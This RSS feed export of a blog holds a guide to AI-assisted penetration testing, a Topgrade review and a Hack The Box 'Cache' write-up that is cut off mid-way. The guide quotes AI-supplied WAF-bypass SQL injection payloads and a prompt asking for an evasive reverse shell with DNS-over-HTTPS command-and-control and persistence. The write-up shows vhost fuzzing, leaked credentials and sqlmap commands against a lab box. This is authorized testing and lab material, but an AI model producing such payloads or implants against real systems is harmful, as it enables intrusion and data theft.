<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[joshkerr.com]]></title><description><![CDATA[Photography nerd 📷❤ — sometime developer. 💻❤]]></description><link>https://joshkerr.com/</link><image><url>https://joshkerr.com/favicon.png</url><title>joshkerr.com</title><link>https://joshkerr.com/</link></image><generator>Ghost 6.44</generator><lastBuildDate>Tue, 09 Jun 2026 08:16:50 GMT</lastBuildDate><atom:link href="https://joshkerr.com/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Getting Started with AI-Powered Pentesting Tools in 2026]]></title><description><![CDATA[After eight months of using AI in real penetration testing engagements, I'm finding 30-40% more vulnerabilities in the same time window. Here's exactly how I'm integrating AI into reconnaissance, exploitation, and reporting—complete with prompts, techniques, and hard lessons learned.]]></description><link>https://joshkerr.com/getting-started-with-ai-powered-pentesting-tools-in-2026/</link><guid isPermaLink="false">69751926a0a3db000196a63f</guid><category><![CDATA[hacking]]></category><category><![CDATA[ai]]></category><category><![CDATA[tools]]></category><dc:creator><![CDATA[Josh Kerr]]></dc:creator><pubDate>Tue, 03 Feb 2026 03:43:55 GMT</pubDate><media:content url="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/02/ai-pentesting-blog-header.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/02/ai-pentesting-blog-header.png" alt="Getting Started with AI-Powered Pentesting Tools in 2026"><p>I&apos;ve been experimenting with AI-powered pentesting tools for the past eight months, running them through dozens of real engagements. What started as curiosity has fundamentally changed how I approach security assessments. The landscape has shifted dramatically, and if you&apos;re not leveraging these tools, you&apos;re working harder than you need to.</p><p>This isn&apos;t hype. I&apos;m going to show you exactly how I&apos;m using AI in my workflow, complete with prompts, techniques, and the hard lessons I&apos;ve learned along the way.</p><hr><h2 id="the-reality-check-why-ai-tools-matter-now">The Reality Check: Why AI Tools Matter Now</h2><p>Let me be blunt: if you&apos;re still doing everything manually in 2026, you&apos;re leaving money and findings on the table. I was deeply skeptical when AI coding assistants first emerged. Another overhyped tool, I thought. But after incorporating AI into my recon, exploitation, and reporting phases, I&apos;m consistently finding 30-40% more vulnerabilities in the same time window.</p><p>The compound effect is staggering. On a recent web app assessment, AI-assisted analysis of JavaScript files revealed three hidden API endpoints that manual review missed. One of those endpoints had an IDOR vulnerability that gave us access to 50,000 user records. That finding alone justified the entire engagement fee.</p><blockquote>The key insight: AI doesn&apos;t replace your skills&#x2014;it amplifies them. Think of it as a force multiplier for your existing expertise.</blockquote><h2 id="my-battle-tested-toolkit">My Battle-Tested Toolkit</h2><h3 id="1-ai-assisted-reconnaissance-beyond-basic-enumeration">1. AI-Assisted Reconnaissance: Beyond Basic Enumeration</h3><p>Traditional recon generates mountains of data. Nmap scans, subdomain enumeration, directory brute-forcing&#x2014;you end up with thousands of lines to parse. Here&apos;s how I&apos;m using AI to cut through the noise.</p><p><strong>Technique: Contextual Service Analysis</strong></p><p>Instead of manually reviewing nmap output, I feed it to an AI with specific questions:</p><pre><code class="language-text"># My go-to prompt for initial service analysis:
&quot;Analyze this nmap scan output. Identify:
1. Services with known CVEs from the past 12 months
2. Uncommon port/service combinations that suggest custom applications  
3. Version strings that indicate outdated or end-of-life software
4. Any services that commonly have authentication bypasses

Prioritize findings by exploitability, not just CVSS score.&quot;</code></pre><p>This approach surfaces the interesting stuff immediately. On a recent internal pentest, it flagged an obscure Erlang Port Mapper Daemon that I would have glossed over. That service gave us our initial foothold.</p><p><strong>Technique: Subdomain Intelligence Correlation</strong></p><p>I combine subdomain enumeration with AI analysis to find patterns:</p><pre><code class="language-text"># After running subfinder, amass, etc:
&quot;Analyze these subdomains and identify:
1. Naming patterns that suggest dev/staging/internal environments
2. Subdomains that might be forgotten or abandoned
3. Patterns that suggest specific technologies (jenkins, gitlab, etc)
4. Any subdomains that break the naming convention (potential acquisitions)&quot;</code></pre><p>This revealed a forgotten Jenkins instance on a client&apos;s network last month. It was still using default credentials.</p><h3 id="2-smart-payload-generation-and-evasion">2. Smart Payload Generation and Evasion</h3><p>This is where AI genuinely shines. Instead of cycling through PayloadsAllTheThings hoping something works, I can describe my exact situation and get targeted suggestions.</p><p><strong>Real-World Example: WAF Bypass</strong></p><p>During a recent engagement, I encountered a Cloudflare WAF blocking standard SQLi payloads. Here&apos;s the conversation that got me through:</p><pre><code class="language-text">Me: &quot;I&apos;m testing a PHP application behind Cloudflare WAF. Standard 
UNION-based SQLi payloads are being blocked. The injection point is 
in a search parameter. Error messages are suppressed but I can detect 
boolean differences. The backend appears to be MySQL 8.x based on 
error timing patterns.&quot;

AI: &quot;For Cloudflare bypass on boolean-based blind SQLi, try these 
approaches:

1. Case variation with comments:
   &apos; aNd/*!50000(*/SeLeCt/**/1/*)--

2. HPP (HTTP Parameter Pollution) if the app processes duplicates:
   ?search=test&amp;search=&apos; or &apos;1&apos;=&apos;1

3. Unicode normalization abuse:
   ?search=test%EF%BC%87%20or%20%EF%BC%871%EF%BC%87=%EF%BC%871

4. If WAF only checks GET, try moving to POST with same param...&quot;</code></pre><p>Option 3 worked. The fullwidth apostrophe character bypassed the WAF but was normalized by the PHP backend. I never would have thought of that approach on my own.</p><p><strong>Technique: Custom Reverse Shell Crafting</strong></p><pre><code class="language-text">&quot;Generate a Python reverse shell that:
1. Uses DNS over HTTPS for C2 communication
2. Implements basic traffic obfuscation  
3. Works on both Python 2.7 and 3.x
4. Avoids common signature-based detection patterns
5. Includes a persistence mechanism for Linux systems&quot;</code></pre><p>The AI provides working code that I then review and modify. Critical point: never run AI-generated exploit code without understanding it. I&apos;ve caught subtle bugs and even some unsafe patterns that could have burned engagements.</p><h3 id="3-javascript-analysis-at-scale">3. JavaScript Analysis at Scale</h3><p>Modern web apps ship megabytes of JavaScript. Manually reviewing it all is impractical. Here&apos;s my approach:</p><pre><code class="language-text"># After extracting and beautifying JS files:
&quot;Analyze these JavaScript files for security issues:

1. Hardcoded API keys, tokens, or credentials
2. Hidden or undocumented API endpoints
3. Client-side authorization checks (that should be server-side)
4. Dangerous function usage (eval, innerHTML, etc)
5. WebSocket endpoints and their message formats
6. Debug/admin functionality that might be accessible
7. CORS configurations or cross-origin communication&quot;</code></pre><p>On a SaaS application pentest, this analysis found a hidden /api/v2/admin endpoint that wasn&apos;t documented. It was protected by a simple boolean flag in the JWT&#x2014;trivial to bypass once discovered.</p><h3 id="4-active-directory-attack-path-discovery">4. Active Directory Attack Path Discovery</h3><p>For internal pentests and red team engagements, AI accelerates AD analysis significantly:</p><pre><code class="language-text">&quot;I have BloodHound data showing these relationships:
[paste relevant paths]

Given the user &apos;svc_backup&apos; that I&apos;ve compromised:
1. What are the most direct paths to Domain Admin?
2. Are there any paths through deprecated/unusual ACLs?
3. What intermediate credentials should I target?
4. Are there any paths that avoid touching Tier 0 assets initially?&quot;</code></pre><p>The AI can spot attack chains that BloodHound&apos;s built-in queries miss, especially complex multi-hop paths through resource-based constrained delegation or shadow credentials.</p><h3 id="5-report-writing-that-doesnt-suck">5. Report Writing That Doesn&apos;t Suck</h3><p>Let&apos;s be honest&#x2014;writing reports is the worst part of pentesting. I&apos;ve developed a workflow that makes it almost painless.</p><p><strong>Step 1: Structured Note-Taking</strong></p><p>During testing, I keep raw notes with a consistent format:</p><pre><code class="language-text">FINDING: SQL Injection in User Search
LOCATION: /api/v1/users/search?q=
SEVERITY: Critical
EVIDENCE: [screenshot paths, requests/responses]
STEPS: 1. Navigate to... 2. Enter payload... 3. Observe...
IMPACT: Full database access, 50k user records exposed
REMEDIATION NOTES: Parameterized queries, input validation</code></pre><p><strong>Step 2: AI-Powered Report Generation</strong></p><pre><code class="language-text">&quot;Convert these raw findings into professional penetration test 
report sections. For each finding include:
- Executive summary (1-2 sentences, business impact focused)
- Technical details with clear reproduction steps
- Evidence description
- Risk rating justification using CVSS 3.1
- Remediation guidance with code examples where applicable
- References to relevant standards (OWASP, CWE, etc)&quot;</code></pre><p>The output is 80% of a polished finding. I spend my time on the remaining 20%&#x2014;refining language, adding context specific to the client, and ensuring technical accuracy.</p><h2 id="advanced-techniques-im-experimenting-with">Advanced Techniques I&apos;m Experimenting With</h2><h3 id="automated-vulnerability-chain-discovery">Automated Vulnerability Chain Discovery</h3><p>I&apos;m feeding multiple lower-severity findings to AI to discover exploit chains:</p><pre><code class="language-text">&quot;I found these issues on the same application:
1. Reflected XSS in search (low - requires user interaction)
2. Missing SameSite cookie attribute (informational)
3. CORS allows arbitrary origins (medium)
4. User email visible in API response (low)

How could these be chained together for a more severe attack?&quot;</code></pre><p>The AI correctly identified that the XSS could steal session cookies (no SameSite), exfiltrate them cross-origin (permissive CORS), and the visible email could be used for targeted phishing to deliver the XSS payload. Individual findings went from Low/Medium to a High-severity chain.</p><h3 id="cloud-configuration-analysis">Cloud Configuration Analysis</h3><p>For AWS/Azure/GCP assessments, I export IAM policies and feed them for analysis:</p><pre><code class="language-text">&quot;Analyze this AWS IAM policy for privilege escalation paths:
[paste policy JSON]

Consider:
1. Direct privilege escalation (iam:*, sts:AssumeRole, etc)
2. Indirect paths through service-linked roles
3. Resource-based policy exploitation
4. Cross-account trust abuse&quot;</code></pre><p>This has found escalation paths through Lambda execution role assumption that Prowler and ScoutSuite missed.</p><h2 id="the-hard-lessons-what-went-wrong">The Hard Lessons (What Went Wrong)</h2><p><strong>Lesson 1: AI Hallucinations Are Real</strong></p><p>Early on, I trusted an AI-suggested exploit for a specific CVE. The payload looked right, referenced the correct vulnerability, and had reasonable syntax. It was completely fabricated. The CVE existed but affected a different function. Always verify against official sources.</p><p><strong>Lesson 2: Context Windows Have Limits</strong></p><p>I tried feeding an entire application&apos;s codebase for review. The AI started mixing up files, attributing code to wrong locations, and missing obvious issues that appeared late in the input. Now I break analysis into focused chunks with clear boundaries.</p><p><strong>Lesson 3: Operational Security</strong></p><p>Think carefully about what you&apos;re sending to AI services. Client code, internal network layouts, credential formats&#x2014;all potentially sensitive. I use local models for anything truly confidential, even if cloud models are more capable.</p><p><strong>Lesson 4: The AI Doesn&apos;t Know Your Rules of Engagement</strong></p><p>An AI once suggested a technique that would have crashed a production database. Effective? Yes. Within scope? Absolutely not. Always filter suggestions through your RoE and common sense.</p><h2 id="building-your-ai-augmented-workflow">Building Your AI-Augmented Workflow</h2><p>Start small. Don&apos;t try to revolutionize your entire methodology overnight. Here&apos;s my recommended progression:</p><p>Week 1-2: <strong>Recon Analysis</strong> - Feed scan results and ask for prioritization. Low risk, high learning.</p><p></p><p>Week 3-4: <strong>Report Assistance</strong> - Use AI to polish your finding write-ups. Saves time immediately.</p><p></p><p>Month 2: <strong>Payload Iteration</strong> - Start using AI for WAF bypass and payload customization. Verify everything in a lab first.</p><p></p><p>Month 3+: <strong>Full Integration</strong> - Incorporate into exploitation workflow, chain discovery, and AD analysis.</p><h2 id="whats-next">What&apos;s Next</h2><p>The tools are evolving rapidly. I&apos;m watching developments in:</p><p>&#x2022; Autonomous agents that can run tools and iterate on findings</p><p>&#x2022; Multi-modal analysis of screenshots and video for UI-based vulnerabilities</p><p>&#x2022; Real-time collaboration between human operators and AI during live engagements</p><p>&#x2022; Custom fine-tuned models trained on security-specific datasets</p><p>The security professionals who master these tools will have a significant advantage. Those who dismiss them as hype will find themselves outpaced.</p><hr><p>I&apos;m continuing to experiment and will share specific techniques as I develop them. If you&apos;re using AI in your security work, I&apos;d genuinely like to hear what&apos;s working for you. Drop me a line or leave a comment below.</p><p>Stay curious. Stay skeptical. And verify everything.</p>]]></content:encoded></item><item><title><![CDATA[The Quest for the Perfect Update Tool: Why Topgrade Changed Everything]]></title><description><![CDATA[My update routine used to be a ritual: App Store, then Homebrew, then pip, then rustup, then... did I forget something? Probably. Then I discovered Topgrade—one command that detects every package manager on your system and updates them all.]]></description><link>https://joshkerr.com/the-quest-for-the-perfect-update-tool-why-topgrade-changed-everything/</link><guid isPermaLink="false">69792a8abeb2270001500a8f</guid><category><![CDATA[Software]]></category><category><![CDATA[Tips]]></category><dc:creator><![CDATA[Josh Kerr]]></dc:creator><pubDate>Tue, 27 Jan 2026 21:21:59 GMT</pubDate><media:content url="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/photo-1515191107209-c28698631303.jpeg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/photo-1515191107209-c28698631303.jpeg" alt="The Quest for the Perfect Update Tool: Why Topgrade Changed Everything"><p>I am obsessive-compulsive about upgrading the software on my devices. Whether on my iPhone or my desktop, I&apos;m regularly checking for OS or app updates. I want the latest and greatest as soon as it is released. If there is a bug fix, I want it now.</p><p>It was only recently that I stumbled upon an app called Topgrade&#x2014;and it fundamentally changed how I maintain my machines.</p><h2 id="the-update-fragmentation-problem">The Update Fragmentation Problem</h2><p>If you&apos;re anything like me, your computer is a patchwork of software from dozens of sources. There&apos;s your operating system, of course. But then there&apos;s Homebrew (or Chocolatey on Windows). Python packages via pip. Node modules through npm. Rust toolchains via rustup. Firmware updates. App Store apps. The list goes on.</p><p>Before Topgrade, my update routine looked something like this:</p><ol><li>Open the Mac App Store, click Updates</li><li>Open Terminal, run <code>brew update &amp;&amp; brew upgrade</code></li><li>Remember I haven&apos;t updated pip packages in a while, run <code>pip install --upgrade</code> on a few things</li><li>Oh right, rustup&#x2014;<code>rustup update</code></li><li>Was there a firmware update? Better check System Preferences</li><li>Did I forget anything? Probably.</li></ol><p>This ritual took time. It required mental energy to remember every tool. And inevitably, something would slip through the cracks for weeks.</p><h2 id="enter-topgrade">Enter Topgrade</h2><p>Topgrade is a single command-line tool that detects which package managers and update mechanisms exist on your system&#x2014;and runs all of them in sequence. One command. That&apos;s it.</p><pre><code class="language-bash">topgrade
</code></pre><p>The first time I ran it, I watched in mild disbelief as it automatically detected and updated:</p><ul><li>macOS system software</li><li>Homebrew packages and casks</li><li>Mac App Store apps (via mas)</li><li>pip packages</li><li>npm global packages</li><li>Cargo crates</li><li>Rustup toolchains</li><li>Vim plugins</li><li>Oh My Zsh</li><li>And more I&apos;d forgotten I even had installed</li></ul><p>It felt like someone had finally understood the problem I&apos;d been solving manually for years.</p><h2 id="the-alternatives-and-why-they-fall-short">The Alternatives (And Why They Fall Short)</h2><p>To be fair, there are other tools in this space. Let me give them their due.</p><p><strong>MacUpdater</strong> is a polished GUI app that scans your Applications folder and checks for newer versions. It&apos;s genuinely useful for apps installed outside the App Store. But it only handles applications&#x2014;not your Homebrew packages, not your development toolchains, not your shell plugins.</p><p><strong>CleanMyMac X</strong> includes an updater module alongside its cleaning utilities. It&apos;s user-friendly and well-designed. But again, it focuses on traditional applications. If you live in the terminal, it misses half your software.</p><p><strong>Chocolatey</strong> on Windows has <code>choco upgrade all</code>, which is excellent for packages installed through Chocolatey itself. But it doesn&apos;t touch Windows Update, winget packages, or your Python environment.</p><p><strong>Homebrew</strong> alone gets you partway there with <code>brew upgrade</code>, but it knows nothing about your npm packages or your App Store purchases.</p><p>Each of these tools solves a piece of the puzzle. Topgrade solves the whole thing.</p><h2 id="what-makes-topgrade-superior">What Makes Topgrade Superior</h2><p><strong>Universal Detection</strong>: Topgrade doesn&apos;t require you to configure which package managers you use. It probes your system and figures it out. Install it on a fresh machine, run it, and it adapts to whatever you have.</p><p><strong>Cross-Platform</strong>: The same tool works on macOS, Linux, and Windows. If you work across multiple operating systems, that consistency is invaluable.</p><p><strong>Extensible</strong>: Have a custom update script for something obscure? Topgrade lets you define custom commands in its configuration file. It becomes your single entry point for everything.</p><p><strong>Respectful</strong>: It asks before doing anything destructive. It shows you what it&apos;s about to update. You stay in control.</p><p><strong>Fast</strong>: Written in Rust, Topgrade is remarkably quick. It parallelizes where possible and doesn&apos;t waste time.</p><p><strong>Open Source</strong>: No subscription fees, no telemetry concerns, no vendor lock-in. It&apos;s maintained by an active community on GitHub.</p><h2 id="my-new-routine">My New Routine</h2><p>These days, my update routine is simple. Once a day&#x2014;usually while I&apos;m grabbing coffee&#x2014;I open a terminal and type <code>topgrade</code>. I watch the output scroll by, occasionally confirming a prompt, and within a few minutes, everything on my system is current.</p><p>No more forgetting about that Rust toolchain update. No more discovering three weeks later that Homebrew had important security patches waiting. No more mental overhead tracking which tool updates what.</p><p>For someone who genuinely enjoys having the latest software, Topgrade isn&apos;t just convenient&#x2014;it&apos;s liberating. It lets me be thorough without being tedious.</p><h2 id="getting-started">Getting Started</h2><p>Installation is straightforward:</p><pre><code class="language-bash"># macOS/Linux via Homebrew
brew install topgrade

# Windows via Chocolatey
choco install topgrade

# Or via Cargo if you have Rust installed
cargo install topgrade
</code></pre><p>Then just run <code>topgrade</code> and watch it work.</p><p>If you&apos;re the type of person who checks for updates compulsively&#x2014;welcome to the club&#x2014;this tool was made for us. Give it a try. Your future self, with a fully updated system and zero cognitive overhead, will thank you.</p><hr><p><em>Do you have a favorite system maintenance tool? I&apos;m always looking for ways to optimize my workflow. Drop me a note.</em></p>]]></content:encoded></item><item><title><![CDATA[Hack The Box Write Up for Cache]]></title><description><![CDATA[<p>This is a fun medium skill level server at <a href="http://hackthebox.eu/?ref=joshkerr.com">Hack The Box</a>. It is a linux Ubuntu box and it had a few fun elements. I learned a lot about memcached for this one. It also requires some sqlmap work so if you aren&#x2019;t familiar with that tool,</p>]]></description><link>https://joshkerr.com/hack-the-box-write-up-for-cache/</link><guid isPermaLink="false">696f0031c5bc4500019f307d</guid><category><![CDATA[hackthebox]]></category><dc:creator><![CDATA[Josh Kerr]]></dc:creator><pubDate>Tue, 20 Jan 2026 04:11:23 GMT</pubDate><media:content url="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/kevin-ku-w7ZyuGYNpRQ-unsplash..jpg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/kevin-ku-w7ZyuGYNpRQ-unsplash..jpg" alt="Hack The Box Write Up for Cache"><p>This is a fun medium skill level server at <a href="http://hackthebox.eu/?ref=joshkerr.com">Hack The Box</a>. It is a linux Ubuntu box and it had a few fun elements. I learned a lot about memcached for this one. It also requires some sqlmap work so if you aren&#x2019;t familiar with that tool, I might skip this box for now.</p><h2 id="getting-user">Getting user</h2><h3 id="nmap-scan">Nmap scan</h3><pre><code class="language-bash">nmap -sC -sV -oA nmap/cache cache.htb

# Nmap 7.80 scan initiated Sun Jun 28 11:07:39 2020 as: nmap -sC -sV -oA cache cache.htb
Nmap scan report for cache.htb (10.10.10.188)
Host is up (0.049s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
|   256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
|_  256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun 28 11:07:50 2020 -- 1 IP address (1 host up) scanned in 10.59 seconds

</code></pre><p>Looks like port 80 running Apache on Ubuntu. Also ssh on Ubuntu. Nice.</p><p>Let&apos;s see what comes up on the browser:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/Screen-Shot-2020-06-28-at-11.09.32-AM.png" class="kg-image" alt="Hack The Box Write Up for Cache" loading="lazy" width="2000" height="1048" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2026/01/Screen-Shot-2020-06-28-at-11.09.32-AM.png 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1000/2026/01/Screen-Shot-2020-06-28-at-11.09.32-AM.png 1000w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1600/2026/01/Screen-Shot-2020-06-28-at-11.09.32-AM.png 1600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/Screen-Shot-2020-06-28-at-11.09.32-AM.png 2000w" sizes="(min-width: 720px) 720px"></figure><p>And this comes up on the login page:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/Screen-Shot-2020-06-28-at-11.09.39-AM.png" class="kg-image" alt="Hack The Box Write Up for Cache" loading="lazy" width="1092" height="946" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2026/01/Screen-Shot-2020-06-28-at-11.09.39-AM.png 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1000/2026/01/Screen-Shot-2020-06-28-at-11.09.39-AM.png 1000w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/Screen-Shot-2020-06-28-at-11.09.39-AM.png 1092w" sizes="(min-width: 720px) 720px"></figure><p>Let&apos;s try some basic passwords like Admin and Password. Nope, didn&apos;t work. Lets view source.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/Screen-Shot-2020-06-28-at-11.10.42-AM.png" class="kg-image" alt="Hack The Box Write Up for Cache" loading="lazy" width="1602" height="1318" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2026/01/Screen-Shot-2020-06-28-at-11.10.42-AM.png 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1000/2026/01/Screen-Shot-2020-06-28-at-11.10.42-AM.png 1000w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1600/2026/01/Screen-Shot-2020-06-28-at-11.10.42-AM.png 1600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/Screen-Shot-2020-06-28-at-11.10.42-AM.png 1602w" sizes="(min-width: 720px) 720px"></figure><p>This is interesting. Looks like the username and password are:</p><pre><code class="language-bash">Username: ash
Password: H@v3_fun
</code></pre><p>Let&apos;s try logging in.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/Screen-Shot-2020-06-28-at-11.11.58-AM.png" class="kg-image" alt="Hack The Box Write Up for Cache" loading="lazy" width="1852" height="1310" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2026/01/Screen-Shot-2020-06-28-at-11.11.58-AM.png 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1000/2026/01/Screen-Shot-2020-06-28-at-11.11.58-AM.png 1000w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1600/2026/01/Screen-Shot-2020-06-28-at-11.11.58-AM.png 1600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/Screen-Shot-2020-06-28-at-11.11.58-AM.png 1852w" sizes="(min-width: 720px) 720px"></figure><p>Hmm...</p><p>Let&apos;s see if there is a special domain name that we need to use in order to get past the &quot;Under-construction page.&quot; I&apos;m going to use cewl to generate a word list from the author page:</p><pre><code class="language-bash">cewl -w wordlist.txt -d 10 -m 1 http://10.10.10.188/author.html
</code></pre><p>Now I&apos;m going to use wfuzz to run through that wordlist and show me only domains that return 302.</p><pre><code class="language-bash">wfuzz -w wordlist.txt -H &quot;HOST: FUZZ.htb&quot; -u http://10.10.10.188/ --hc 400 --hh 8193

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz&apos;s documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.188/
Total requests: 42

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                             
===================================================================

000000037:   302        0 L      0 W      0 Ch        &quot;HMS&quot;                                                                                               

Total time: 0.736105
Processed Requests: 42
Filtered Requests: 41
Requests/sec.: 57.05704

</code></pre><p>Oh. Looks like there is HMS.htb the domain. Adding that to my /etc/hosts file. Now trying to login:</p><p>Oh, a new web site:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/Screen-Shot-2020-06-28-at-11.26.59-AM.png" class="kg-image" alt="Hack The Box Write Up for Cache" loading="lazy" width="1778" height="1086" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2026/01/Screen-Shot-2020-06-28-at-11.26.59-AM.png 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1000/2026/01/Screen-Shot-2020-06-28-at-11.26.59-AM.png 1000w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1600/2026/01/Screen-Shot-2020-06-28-at-11.26.59-AM.png 1600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/Screen-Shot-2020-06-28-at-11.26.59-AM.png 1778w" sizes="(min-width: 720px) 720px"></figure><p>Let&apos;s see if we can login. Nope.</p><p>Opened msfconsole and searched openemr. Found a database dump exploit. Ran that to try to grab the database.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/Screen-Shot-2020-06-28-at-11.31.27-AM.png" class="kg-image" alt="Hack The Box Write Up for Cache" loading="lazy" width="1906" height="1400" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2026/01/Screen-Shot-2020-06-28-at-11.31.27-AM.png 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1000/2026/01/Screen-Shot-2020-06-28-at-11.31.27-AM.png 1000w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1600/2026/01/Screen-Shot-2020-06-28-at-11.31.27-AM.png 1600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/Screen-Shot-2020-06-28-at-11.31.27-AM.png 1906w" sizes="(min-width: 720px) 720px"></figure><p>Nope. Tried on a couple of directories and wasn&apos;t able to get it to find any tables. Going to try a manual method of this exploit.</p><h3 id="sqlmap-injection-attack">Sqlmap injection attack</h3><p>Using Burp suite, I saved the request from visiting this url:</p><pre><code>http://hms.htb/portal/add_edit_event_user.php?eid=1
</code></pre><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/Screen-Shot-2020-06-28-at-12.00.08-PM.png" class="kg-image" alt="Hack The Box Write Up for Cache" loading="lazy" width="1328" height="714" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2026/01/Screen-Shot-2020-06-28-at-12.00.08-PM.png 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1000/2026/01/Screen-Shot-2020-06-28-at-12.00.08-PM.png 1000w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/Screen-Shot-2020-06-28-at-12.00.08-PM.png 1328w" sizes="(min-width: 720px) 720px"></figure><p>Save it the request as req.txt.</p><pre><code>GET /portal/add_edit_event_user.php?eid=1 HTTP/1.1
Host: hms.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: OpenEMR=on62khuh5v8ktjj5ad57p2sp1i; PHPSESSID=7rlmjgc56ktemn7kmvc062r8bl
Upgrade-Insecure-Requests: 1
</code></pre><p>Now run Sqlmap to see if we can inject it per the exploit.</p><pre><code class="language-bash">sqlmap -r req.txt --dbs --batch
</code></pre><p>There are two tables of interest. Let&apos;s open the openemr database and explore it.</p><pre><code class="language-bash">sqlmap -r req.txt -D openemr -tables
